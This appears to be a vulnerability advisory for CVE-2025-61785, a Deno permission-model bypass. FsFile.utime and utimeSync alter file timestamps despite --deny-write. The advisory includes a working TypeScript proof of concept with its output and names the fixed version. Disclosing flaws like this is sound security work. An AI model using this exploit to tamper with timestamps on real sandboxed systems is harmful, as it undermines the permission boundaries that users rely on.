CVE-2025-61785

Summary

Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./.

It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./).

Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model.

PoC

Setup:

deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3

touch test.txt

// touch test.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1
async function poc1(){
    using file = await Deno.open(&quot;./test.txt&quot;, { read: true, write: false});

    const fileInfoBefore = await file.stat();
    
    await file.utime(new Date(&quot;2000-01-01&quot;), new Date(&quot;2000-01-01&quot;));
    
    const fileInfoAfter = await file.stat();
    
    
    console.log(`BEFORE (utime)`)
    console.log(new Date(fileInfoBefore.mtime).getFullYear())
    console.log(new Date(fileInfoBefore.atime).getFullYear())
    
    
    console.log(`AFTER (utime)`)
    console.log(new Date(fileInfoAfter.mtime).getFullYear())
    console.log(new Date(fileInfoAfter.atime).getFullYear())
}


// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2
function poc2(){
    using file = Deno.openSync(&quot;./test.txt&quot;, { read: true, write: false});

    const fileInfoBefore = file.statSync();
    
    file.utimeSync(new Date(&quot;2001-01-01&quot;), new Date(&quot;2001-01-01&quot;));
    
    const fileInfoAfter = file.statSync();
    
    
    console.log(`BEFORE (utimeSync)`)
    console.log(new Date(fileInfoBefore.mtime).getFullYear())
    console.log(new Date(fileInfoBefore.atime).getFullYear())
    
    
    console.log(`AFTER (utimeSync)`)
    console.log(new Date(fileInfoAfter.mtime).getFullYear())
    console.log(new Date(fileInfoAfter.atime).getFullYear())
}

// https://docs.deno.com/api/deno/~/Deno.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3
async function poc3(){
    // not executed
    await Deno.utime(&quot;./test.txt&quot;, new Date(&quot;2000-01-01&quot;), new Date(&quot;2000-01-01&quot;));
}

// https://docs.deno.com/api/deno/~/Deno.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4
function poc4(){
    // not executed
    Deno.utimeSync(&quot;./test.txt&quot;, new Date(&quot;2000-01-01&quot;), new Date(&quot;2000-01-01&quot;));
}


async function main(){
    const poc = Deno.args[0] || 1;

    const status = await Deno.permissions.query({ name: &quot;write&quot;, path: &quot;./&quot; });
    console.log(status);
    switch (poc) {
        case &quot;1&quot;:
            poc1()
            break;
        case &quot;2&quot;:
            poc2()
            break;
        case &quot;3&quot;:
            poc3()
            break;
        case &quot;4&quot;:
            poc4()
            break;
        default:
            poc1()
    }
}

main()

Output:

deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1

PermissionStatus { state: &quot;denied&quot;, onchange: null }
BEFORE (utime)
2025
2025
AFTER (utime)
2000
2000

deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2

PermissionStatus { state: &quot;denied&quot;, onchange: null }
BEFORE (utimeSync)
2000
2000
AFTER (utimeSync)
2001
2001

deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3

PermissionStatus { state: &quot;denied&quot;, onchange: null }
error: Uncaught (in promise) NotCapable: Requires write access to &quot;./test.txt&quot;, run again with the --allow-write flag
    await Deno.utime(&quot;./test.txt&quot;, new Date(&quot;2000-01-01&quot;), new Date(&quot;2000-01-01&quot;));
               ^
    ...

deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4

PermissionStatus { state: &quot;denied&quot;, onchange: null }
error: Uncaught (in promise) NotCapable: Requires write access to &quot;./test.txt&quot;, run again with the --allow-write flag
    Deno.utimeSync(&quot;./test.txt&quot;, new Date(&quot;2000-01-01&quot;), new Date(&quot;2000-01-01&quot;));
         ^
    ...

Impact

Permission model bypass

Published: Oct 7, 2025
Updated: Oct 8, 2025
CVE: CVE-2025-61785
GHSA: GHSA-vg2r-rmgp-cgqj
Severity: Low
Exploit:

CVSS v3:

Severity: Unknown
Score:
AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

CWEs:

CWE-266

Affected Software
References

Software	From	Fixed in
deno	-	2.5.3

Vulnerability Database

CVE-2025-61785

Summary

PoC

Impact

Deep Security Visibility Without the Complexity